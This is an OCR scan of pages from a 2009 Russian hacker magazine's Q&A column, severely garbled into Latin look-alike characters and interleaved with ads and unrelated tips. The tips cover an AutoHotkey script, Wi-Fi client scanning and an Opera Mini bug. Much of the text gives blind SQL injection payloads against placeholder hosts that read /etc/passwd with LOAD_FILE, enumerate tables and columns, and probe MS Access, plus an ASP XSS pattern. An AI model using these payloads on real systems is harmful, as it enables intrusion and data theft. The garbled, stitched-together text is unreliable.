TaK>Ke nonyYVlM CV1HT2KCI1'1ecKyKl oWV16Ky, TaK KaK

33npoc-1 union select 1,2,Ox3C736372

nepBbl(1 Cl-1MBOn 'r', ero ascii-Ko.A -

6970743E616C65727428293C2F73637269

http://host/seript.php?vu1=1' and

CMMBOfl

npo6en.

«+» B reT-3anpocax BOCnpI1HVlMaeTC\1 KaK n03TOMY nepe80,D,lJIM

era c nOMOlllblO mo­

6011 Url Encoding/Decoding yrV1nV1TDl8 3H3ljeHV1e %2B. B more, 33npoc nplo1Hlo1M3eT BV1j:\

114, CMOTplt1M'

ascii(substring((LOAD_FILE('/etcl

70743E.

pass\\'d') ) ,1,1)) ~111 ~ HV1yerO He3arpy­ Q; LjTO 3aTeXH~KaSQL-injection more1row?

A: B >KypHane

Ix #

>KaeTC>1:

111) He TaK ):\aSHO 6blna

http://host/script.php?vul=1' and

'/etel

http://localcareers.com/seekers/

CTaTbl1 Ha TeMy paCKpYL1I-1BaHV1" CnO>KHbIX blind

ascii (substring{ {LOAD_FILE (

articles/profile.c£m?Author_ID~9

sql~injection 6e3 V1cnonb30BaHV1>l benchmark.

passwd' } } ,1,1) ) ::114 ~ 3arpy>KaeTC>1

or

l~(SF.LECT

TOP 17Jl..BLE_NAHE FROM

INFO~'ffiTION_SCHEMA.TABLES

WHERE

B Kp3Tl.je on V1 wy,

0 Y e~ l-1,cJ.eT pelj b. K3 K Tbl

KoHTeHT:

nOHI-1MaeWb, Vlcnonb30saHV1e benchmark'a

http://host/seript.php?vul=1' and

lete!

TABLE_NAl1E 1,OT IN (char{108)%2Bchar

,qOBonbHO Hey,cJ.o6Ho. HarpY3Ka Ha cepsep

ascii (substring ( (LOAD_FILE ('

(111)%28char(103)%2Bchar(105)%2Bch

IMO>KeT Boo6111e «nonO>KI1Tb'> cna6bli1 cepBep

passwd')) ,1,1)) bet....T een 110 and 115

ar(110)%2Bcharl1l5)))--

Ha HeKOTopoe BP€~I1IJ. ,qJ1V1TeJlbHOe Bbl­

--7 3arpy>KaeTC>l

nOflHeHl-1e KOHeljHOrO 3KCnIl0L1Ta, no,q60p

nepeHoc CTpOKV1 B ASCII -

B TeKCTe oWV16Klo1

6y,I],er nplo1cyrCTBoB2Tb Ha3saHIo1e

CJ1e.AYlOll1ef1 Ta6m1L-Ibl

nap8~eTpOB ,cJ.1l11 ¢YHKl\V1V1 benchmark -

Bce

KOHTeHT. 10. KOHeu. CTpOKV1-

:310 3a4aCTYlO oT5V1BaeT %en8Hl-1e HaAJlOM31 b

HEX' e. ~nV1HY p,3HHbIX onpe,qemleM C nOMOUJ,blO

TapreT-xoCT. Ho 6blJl Hai1.AeH 8JlbTepHaTV18Hbli1

¢YHKlJ,l-1V1length·

Q: KaK npOBeCTM blind sql-MHbeKLlMto

cnoco6 -

B MSAccess?

npVlMep:

13

Bee ~aHV1nyn>1lJ,l-1l-1TaK%e MO>KHO npoBo,cJ.V1Tb B

npOBoKal-\1-1113anpOCa KaK 06blYHO, http://host/script.php?vul=l' and subs tring (length (LO;\D_FILE ( , I etc /

A: OTilWH111 oTc.nenOf1 V1HbeKl-\vH1B MySOL TonbKO B H33B3HyH1X epYHKl-\Ylf1, npV1HLJ,V1nbl OD,lo1H3KoBble

script. php?vul=' and 1= (SELECT 1

passwd')) ,1,1)='4

)J,.n11 npV1~ep3, eCTb XOCT C ,o,aHHoi1 6aroi1, 8,,180j:\,

UNION SELEC'r 2)

http://host/script_php?vul~l'and

substring(length(LOAD_FILE('/etc/

cooTBeTCTBeHHo,oTcyrCTByeT: KOH€llHO >Ke, ~bl nonYljV1M oWV16Ky «mysql_ http://hosc/seript.aSp?ID~1'

passwd' ) } ,2 ,1)

c, '

8

query () : subquery returns mOre than 1 row», TaK KaK nO,£\3anpoc B03Bpall-laeT ,cJ.se CTpOK1-1.

Cpa8HV1BaeM ASCII-xoj:\ nepBoro CV1MBona CTpOKV1,

Tan-1M 06pa30M, Mbl ~O%eM OpraHI130BaTb nOCV1M­

TaK, Mbl MO%e~ nOCl-1MBOJlbHO np04eCTb KaKl-1e­

Bbl,o,asaeMoro nop,3anpocoM:

BOnbHblf1 nepe6op, KaK 1-1 np1-1 cTaH,QapTHOf1 blind

i1V160 KOH¢V1rV1 c napOn>1~V1 BHyTplo1. MeTO,q Kp3f1He

sql-injection, HO B KayeCTBe O,cJ.HOro 1-13 B03MO>KHbIX

Hey,q06Hbl f1l-1 )J,on rl-1 f1, norV1 pa cnyxHYT .AO He Man blX

3HalleHV1f1 B03Bp8Ll\aeMbIX <pYHKLJ,V1ei1IF[J c,qellaTb

pa3MepOB, HO, eCJll-1 ,qpyroro 8blxoAa HeT, TO BbI6L1­

http://hosc::/seript . asp?ID~l and l~IIF (ase

(mid ( (select last (UserID)

from users) ,1,1) )

~104,

(SELECT 1 UNION SELECT 2)

ECJH1 KOj:\ cOBna,o,aeT, TO ¢YHKLl,V1I1IIF B03Bpal11aeT

paTb He npl-1X0.AV1TCI1

AHanOrl1ljHO MO%HO I1Cn0f1b30BaTb into_outfile,

1,0)

Q; MccneAOBan OA~H AB~>KOK. B ~cxoAHIIlKax S1BHO

3anV1caB npoV13BoflbHble,o,8HHble B epaf1n [He3a6bl­

B~AHa

Bai1, '1TO ~O%eT no~ewaTb epV1JlbTpal-\V111 K3SbllleK,

B03MO>KHOCTb MH>KeKTMpOBaHMR sql-onepa-

11.1 JlOrW-jeCKoe Bblpa>KeHV1e«l and 1=1» BepHO-7

TOpOB, HO B"Tore, H.....ero He npo~cxOAMT.xOTSl6ar

~ He06xo.l1V1Mbl npaBa ,LlJT>13am1CJ1 + nOJ1Hblf1 nyrb K

npOV1CXO.Av1T 33 rpY3 Ka ,cJ.V1 HaM VlyeCKOro C0.AeP>KV1­

eCTb1000/0!

j:\l-1peKTopV1V1L

Moro C3f1T3. EcnV1 coana,cJ.eHl-111 He npOV1CXOj:\V1T, TO,

A: BV1,cJ.l-1Mo,

KaK npaSV1flO, 3arpY>K3eTCI1 TonbKO Wa6J10H cai1Ta.

Ha nOKa3 OWV160K, J1l-160 BKJllOyeHbl MarlllyeCKV1e

XAKEP 05 1125/ 09

PHP Ha TBoeM cepBepe He HaCTpoeH

npV1Mep 3KcnnOVlTa, WnOJTb3YlOLl\erO load_file­

h1tQ.l!m,lwOrm.cQm/explolts/5639. ASCII ra61lV1l-lY

~

141


.. "..

~

o

.

. ..""" IJflhS

C2)

..

o

b 3,D,eCb: http://ao3S(,-.iLQm).

MO)l(HO nOCMOT

o nplIIMep 94"rlo1:<img src=~%=Request. Queryitring(<<Param»)

Q: KaK nOCMOTpeTb Bcex KnlteHTOB. KOTopbleB

\>'>.

AaHHblM MOMeNT Kcn0l1b3YIOTWiFi-ceTI4?

Q~M He nOHRl1, KaKCnOMOlLlblO PROCEDURE

A: Cnoc0608 HeCKOTlbKO:

1. EC11101 eCTbA0CTyn K2,n,MIo1HKeTO"l.'<V1 .qO:::1)'na, TO

NALYSE(I nonY'IKTIt Ha3saHMR Ta6nMl.I, K KonOHoK.

npaKTVlyeCKI-1 Ha nlO6o~ npOlli!'1BKe AeeaiAca eCTb

MO>KeWb nOKa3aTb Ha npaKTMKe?

A:

nonaralO, y>Ke MHorl-1e HaCl1b1WaHbl 0

lO.Qe, HO H3 npaKnlKe Mano "'TO YAaeTO'l

BKJJaAKa co BceMIo1 TeKYW.V1 M f1 nOAKflI04eHI>151M V1.

HOBOM Me­

nOny"'H1Tb

rAe oT05pa::t;ae,cR MAC.

2. Ha AP npaKT>14eCKIIl Bcer)l.a l>1CnOJlb3yercSl

c nOM0l..4bKl3TOVi npOl..\eAypbl, TaX KaK Cl1lilWKOM MHorOe 3a6>1CI·1T OlTOro, K3K Bbl80,QII1T AaHHbie

1113 6a3bIY5l3BII1MbIVl cLJ,eHaplillil.

cJ1y"aes

Mbl 111-160

B 60flbwVlHcTBe

Boo6l..4e HeySl-l,D,Io1M BbIGO,Q3,

~TO

CltCTe",a p.1Cn03Hana MeHH K.1K HeKOToporo

DHCP-cepeep, KOTOpbil1 Bo,lAaeT KIll<leHTClM IP-aA­

nonb30BaTl~m~.nepeMAR B Gmail. yBMAen, 'ITO A

pee a 1-13 onpe,aeneHHoro.o.l-1arla30Ha_):\ocraTOYHO

aBTopM3Kp00.1H KTaM. KaK3TO Momo npOM30MTK?

npoo::aHl<lpOS8Tbfl105blM CKaHepOM [AngrylP

fllo16oYSltlAlI1M BceB03MWKHble OW\.16Kltl. O,llH3>KAbl

Hey>KenK TaKaH HeAopa60TK.1 CO CTOpOHbl KOM.1H­

Scanner, W,NW81lgryzl:lerCOm - KnpV1Mepyl :HOT

MySQL BblnnKJHyn

Abl Opera? B Ka~eCTBeYCTpOMCTBa Kcnonb30Ba­

.o.>1ana30H. "lT06b1 Onpe)l.enlllTb «)t::;\I1Bble XOCTbP>.

naCb BepcKR AIIH Windows Mobile.

3, 3aMe4aTeJ1bHafl nporpaMMJ kismet [W'I#I

MHe u,eJ1bIVi

P\1,D; OWII160K. BTeKC­

Te KQTOPblX 6blnll1 YK333Hbi cTOnnu,bl:

A: 3TO AOCTaTO'-lHO 111313eCTHbl\16ar. nplo1'-leM

klsmetwlrele!is net) cCAep)t(VJTTaKylO epYHKlJ,l>1Kl flO

Warning: mysql_result() (function.

soace He pa3pa60T'-lIo1KOB Opera. BcnOMHto'l, K3K

yMOJl4aHI'lIO.

mysql-rcsultl: NAME not found in

HySQL result index 19 in /varjvIWW/

Tbl ycTaHaall14B3fl Opera Mini? CKopee acero,

virtual/host.com/htdocs/news/news.

php on line 19

rOTOBOf1 C60PKlo11013 .cab. 3TO Bce 06MlcH51eT.

BblAeneHKH CI10Ba B 111060M npMIlO>KeHMH MO>KHO

Io1HCTaJl.l1l>1poBaTb .j<lr-q,a~.I1bl Ha WM He oyeHb

6blnOHa>KaTbHa ropR'IyIOKJlaSltwy- K no cnOBO

~"'arning: mysql_result() [function.

mysQl-result]; LOGIN not found in

y,LJ.06HO, KTOMy)t(e nOllb30B<lTeJl14 CTaflKIo1S3IQT­

OTflpaBmmOCb B nOKCKOBKK ItnK oHnaMH-nepe­

C>1 CTeM, "lTOYCT3HOB.I1eHHblili3Mymnop Java

BOA'IKK.AnA npMMepa. BGoogle. KaK310 npOlLle

1-1ySQL result index 19 in /var/WW1tT/

4aCTO OKa3b1B3eTC>1 cTapolo1 aepclo1lo1. 4T06o,l

Bcero pea11M30BaTb

virlual/host.com/htdocs/news/news.

06JlerYlo1Tb )t(1II3Hb nOJlb30BaTefl~M, 3HTy3111aCTbi

cneu,ManbHOe npKIIO>KeHHe1?

c03,aa1OT cTaH,oapTHble AJl~ TaKIttX U1CTeM yCT<l­

A: 8 TaKO~ CIo1Tyau,l1V1 caM 50reenef1 oocnC/lb30­

php on 1 ine ?1

He >13 0plo1n1H3JlbHorO jar-q,aili.na, a c nOMOll.\blO

H080"lHble .cab-¢aViJlbl, e KOTOpo,lX 8KfllO"lalOT Tenepb Ha npl-1Mepe. ECTb VlHbeKI~l<Hl C BbI80.QOM

f1peAYCT3HOBlIeHHbllo1 3MYJl51TOp Java.

8

VlTore,

nepBoro CToJl6u,a - http://hostlscript .

yCTaHoBKa npOXOAIo1T B HeCKOJlo,KO K1H1KOS,

php?vul=l union select 1,2,3. CMOT­

Mbl nOlly"l3eM Java-nplo1nO.:>KeH14e Itt nJl3Tq,opMY

p~Mhttp;//host/script.php?vul=l

,oJl>l3anycK3 Ha C80eM WM-,oeaaiAce.

PROCEDURE ANALYSE ( )

-;>

jonas_

1<1

B "leM

Q: Xo~y CAen.1Tb eneAYlOlLlYIO BelLlb: 'IT06bl npK

Iy>t<: 60llbHO He xo~eTCH nKcaTb

BClTbO, 32Me'-laTe11bH0I1 T)'moi1 AutoHotkey !'A'vvw. 3utohotkey,com/downloacl) .0/111 HacTpoi1t<11 ropl1­ 4lo1X KfIaBIo1W

B

Cf1CTeMe. nocne YCTaH08KI<1 HpKHO

C03,D,aTb I~OBbllo1 ¢Jaiin "',ahk,

nepSOM 3anyCKe Opera Mini reHeplo1pyeTc51

~InstallKeybdHook

3Aecb jonas_chalk - l>1M51 TeKYllIeiA 5,0" article

C80L1I<l,aeHTl<lq)l.1Ka~lIloHHbli1 KO,o, no KOTOpOMy

#Persistent

- Ta61ll>1u,J, l>13 KOTopoi1l>1AeT Bbl60pKJ l>13Ha­

B

4J.I1bHO. title - nepsbli1 cTo.l16eu,.

C)t(\.1ManK3 Tpaq,l>1KaJ Onepbl ~(Y3HaeT» TeJle¢OH

p,aflbHei.1weM npOKCl>1-Cepeep IYCKopl<lTcnb III

nonyYaeM STOpOi1 cToJl6eu c nOMOlllbfO limit

5ar 8 TOM, YTO TaKa';; creHepVlposaHHbl101 KO,lJ,

- hetp: / /host/script. php?vul=l

SMeCTe C 3MyJl>lTOpOM nonaJlItt B f1CnOJlb3ye­

limit 1,1 PROCEDURE ANALYSE()->

MyfO AJlH YCTClHOBKf1 C60pKy_ A nOCKonbKY elO

limit. nOJly4acM

KOTOPOM 6Y,LJ.eT

)l(e no/wox? B TOM, "lTO ).\.1151 yCTpoi1cTea np!<1

chalk.article.title

j cnas_chalk. article.question. V13MeH5HI.

B

pacnOna raTbC>I TeKCT Hawero CUeHaplo1>1

BOCnOJlb30SaJ1CSl He TOf1bKO Tbl, HeT Hl,14ero

#Hotkeylnterval,lDO

SetKeyCelay, -1

"+c; ;

Send, "c

y.QI<lBIHeflbHoro, 4TO .QJl51 cepsepa Opera Mini

Sleep 50

sce CTOJl6Ubl,

Sbi SlBJl510eCb 0AHIilM 101 TeM >Ke nOJlb30eaTeneM

Run,

):\1l51 Tex, KTO He nOH51fl- Mbi MO)f(eM nOflY'--ll>1Tb

C O.QI<IHaKOBblMf1 KyKI-KJMIo1.

search?q=%clipboard%

3HJ4eHl-1e nepooro aprYMeHTa

Return

l-'a3SaHHe 101 CTOJl6Ubl TOJlbKOTOv> Ta6m1lJ,b1, OTKy­ Aa IttAeTBbl60pKJ Y13Ha4aJlbHO. 60nee nO,LJ.p06­

http://~~~.google.com/

Q: fOBOpHT, M06K11bHble onepaTopbl3anycntm'l

HyfO \.1H¢OpMau,\I1fO MO)t(HO nOCMOTpel b B 6.11ore

M06KnbHbiM 'laT. "ITO 310 It KaK nonp060BaTb?

«nepBOOTKpblBaTemH> MeTOAa -

A: AeL1CTBI<ITeflbHO, e anpene «rf1aBHa~ TpO~Ka~>

Bce npocTO: 3ToTcu,eHapl.-li1l11cnonb3yeT nepeMeH­

9eekr,yonewild _i nlo/2009/0 lit 0-1 h(! ·11 mj t -and

onepaTopoB 3anycTV1Jla, HaKOHeLl,-TO, yc.I1yry

HyKl %clipboard%, B KOTOpoii xpaHIo1TC>I CO)l.ep­

beyon<1,html.

(~YaT». Ellie 6bl: y K8.:>K)l.Oro, KTO 3TI<II-1 4aTOM

)t::;aHltle 6y¢epa 06MeHa, l>1 nepG,oaeT ero B Google

Q: no KaKKM KJlIO'IeBbIM enOBaM

pragmatk

BTeKCTeASP~

MO.:>KeT n011 b30saTbCSl, Aa8HO YCT3HoeneH2

URL KaK napaMeTp ,LJ.il51 nO~ICKa.

M06\11llbHa51 aCbKa. nOyeMY 6bl He 14CnOflb30B8Tb

C03,1J,aH,,D,Ba>K,D,bl Kfl III KHI<I no J.ieJ..1Y - .., BTpee no­

KaK TOJlbKO CKpltlnT

npMnO>KeHMM (TOI4T MCKaTb nOTeHLlKanbHble XSS­

CT8HAapTHbie B03MO>KHOCTIo1 CI-'\CTeMbI. TeM 60­

~BmC51 Hosa51Io1KOHKa [l<To6blI<l35aBIo1TbCI1 oTHee.

YA3BMMOCTM?

flee, 6eCnJlJTHo? Ao nepBoro \11101151 npOBO,Qlo1TCR

Heo6xo,D,l-\MO Ao6as1<lTb,D,lttpeKTIo1BY #NoTrayicon s

A: Ecnlll s PHP Mbl o6palllaeM BHIo1M3H\I1e Ha

6eTa-TecTV1pOBaHl,1e, n03TOMY nJl3Tbi HIilKTO C

caMoe Ha"l3J1a CKpl<lnra). BblAef1>1eM 8 nlO60M nplo1­

nepeMeHHble, BblBOAIo1Mble CnOMOlllblO print/echo,

re651 He B03bMeT. HaCTpOIo1Kl>1 MO)f(HO HJiATi'1 Ha

.I1O)t(eHlo1e Hy.lKHOe CflOBO, >KMeM 3aoeTHyIC KOM6l,1~

TO sASPcneAyeT 06paTlo1Tb BHIIIM8Hllle Ha Y43cn:;101

O¢I<ILl,lo1aJlbHblX cai1Tax onepawpoB ,oJlSl CBoero

Hau,Y'l1O KflaBl,1W <Clrl+Shift+C> 1<1 Ha6fllO.o.aeM, KaK

KOA3 c KJlIO'-leBbIM14 CJlOBaMIo1 Response, «<%=»,

per>10Ha.

Request.

~

142

S HOBOM OKHe 6pay3epJ OTKpbIBaeTC51 CTpaHw1Ka Google'a C HY)+(HOIM HaM 3anpOCOM,::JC

XAKEP 05 11251 09


http:// """"....- .....r...

--.. ,

......... --...

..... ......

..

Gl •• •

'.' .....~ff.,~' .•" .>,,(1"

Gl •

.'~ll:

~ :-m

_-"...

....,_

'CO_.. _ _

_

,""*..""""."_ ....... •~, ".<> ..."""'"-._"'_\00".. _ ........ ,~

WUALA WWW.WUALA.COM PaCCKa3blS3fl 0 CepBLo1CaX AJl51 np03pa4HOili CiIlHXpOH\13au,IIH1 A3HHblX, Mbl

BCI'IKltILii pa3. Kor,o,a HY~HO C03Aalb3epKaJlO Ae¢lel.1c3, np\llXOAV1TCl'l,uenaTb

Oropbox. Tao>:: BOT, Wuala- npaKTW-leCKVl nOm-lbll/; era aH3J10r, HO n03aon~eT6ecnflaTHO nOJlY'-ll-1Tb H3MHoro 60Jlbwe. '-leM 2r6_,l],n\1

CKP\IIHWOT 1tI3afH.18aTb era Ha cne~ltIanbHble XOCH1HrYl.

BC>'1yeCn1 H3XB31JI-1S3nl-1

V1 Bce paSHo, Ha~p,yrCl'l

Te, KTO nonblTaeTCR T80~ 83JlOM OCnOpltlTl:>! llT05bl paCCTaSIolTb Bee T04Klt1 Ha,Q

XpaHeHI-1j1 ¢a~JlOB XI-1TpbrM cnoco60M npYlMeHIHOTCl'I C3MI-1 KOMnblOTepbl n01Jb­

i. 3epK8na AMI Ae¢e~coB Hy>KHQ KnenaTb npaewlbHo. HanpltlM€p, c nOMoLllblO

30e3reneLil, ltl 4eM 60llbwe fbi roTos BbljJ,€ilillTb MeCTa AJlI'l¢laiilJ10B \13 raKolii

cepswa

p2p-ceTI'!. TeM 6011bWI'ILII 06beM AJ15l q,ai1.noB nonyyaeWb 8 Wuala. npLolyeM. :no

lhtml. CSS-p<l3MeTKa lt1 KapTl.1HKIolI. pa3MeLl.\aeTCe Ha C6Q1.1X cepsepax

npo,qYM3HO. Ha.ae)KHO V16e30naCHO!

MO)f(HOCTIo1 pe,l:\aKTl.1pOSaHI1l'l) 101 BblJJ,aeT KpaTKl11:1 flVlHKAJlSl npOCMOTp<J.

-

--­ -­ .,

..:.

-­ -­

..

I

[6e3 603­

WobsilU • AvaAablo

<-check me

~

........

lire..,...... ....'..

Image

- -­

-' - --'......-"- - - - - - - - - - - 1 , BIiI3YAJlbHbllil ,,,

npOEKTIiIPOBllIliIK IiIHTEPCllEiilcOB AnSI BE6-CTPAHIiI1I

-_&0­ .-­ ...... . .1_.. -.­.

KPyrJlOCYTo4Hbliil MOHIiITO­ PIiIHr CEPBEPOB CYBEAOM­ JlEHIiI51MIiI no SMS

"'''11---. . .-....... ._loI>It

OHJlailil1·cpe,lJ,a paJpa6on;1-1 Alll'l JS-nporpaMMltICToS. White IDE 33AYMbl­

SITE24X7 SITE24X7.COM

Sa!l3Cb Kat( cpe,o,CTeo, n03S0flSlIOutee BVl3ya11bHo «HaKl-1,o,aTb ltIHTepcjlel1C»

3TOT CepBI-1C oKoH4aTeflbHoy6ep,Vlfl MeHl'l610M. 4TO l-1cnonb30saTb OT€4eCT­

CH343fl3 AJll'l CneQVl¢I-1"eCKoro <ppe~MsopKa, a nOTOM 1tI,D.11SlI13SeCTHblx Protolype.js.jQuery.

MooTools ltI ExUS. HeCMOTpl'l Ha TO, 'ITO 3TO scera IlI-1Wb

seHHble XOCTI-1Hr-KOMnaHHI-1 BeCbMa "peBaTO. COMHeHl-1l'l no nOBOAY 33SlSfleH­ Horo npOBOM amaLiiM3 >l pa3peWIo1fl C nOMOll(bIO ceps\I1ca Sile24x7, KOTOpbl11

6er3, y>Ke Cel1'1.:K anOl1He B03MO)l(HO C03A3S3Tb ltIHTi?p¢e~Cbl C nOM0Ll.\blO 8lt1~

6ecnflaTHO MOHIolTOp,,1T fllo6oiil ca~T 101 OrnpaBJ1Rel yseAOMTleHl1e 06 ynasweM

3yanbHoro npOeKTltIp081l.ll1Ka l-1 TyT >Ke npaSlilTb KOA Spy4HylO S JavaScript/CSS

ceps8Ke no SMS. napy pa3 npocHYBwlolcboTTaKVlx C006Il.\eHI1I:1.l'l HaAYM3fl_

peA3KTOpe.

KynVlTb,D.e,D.VlK B EBpone

~144

.

backupURL, KOTOPblLii MOMeHTallbHo,Q€flaer nOflHYIO KOnlt11O CTpaHltIll,61

:1. XAKEP 05/115/09

.'

xakep  

май 2009, may 2009, 05 2009, 2009 05

Read more
Read more
Similar to
Popular now
Just for you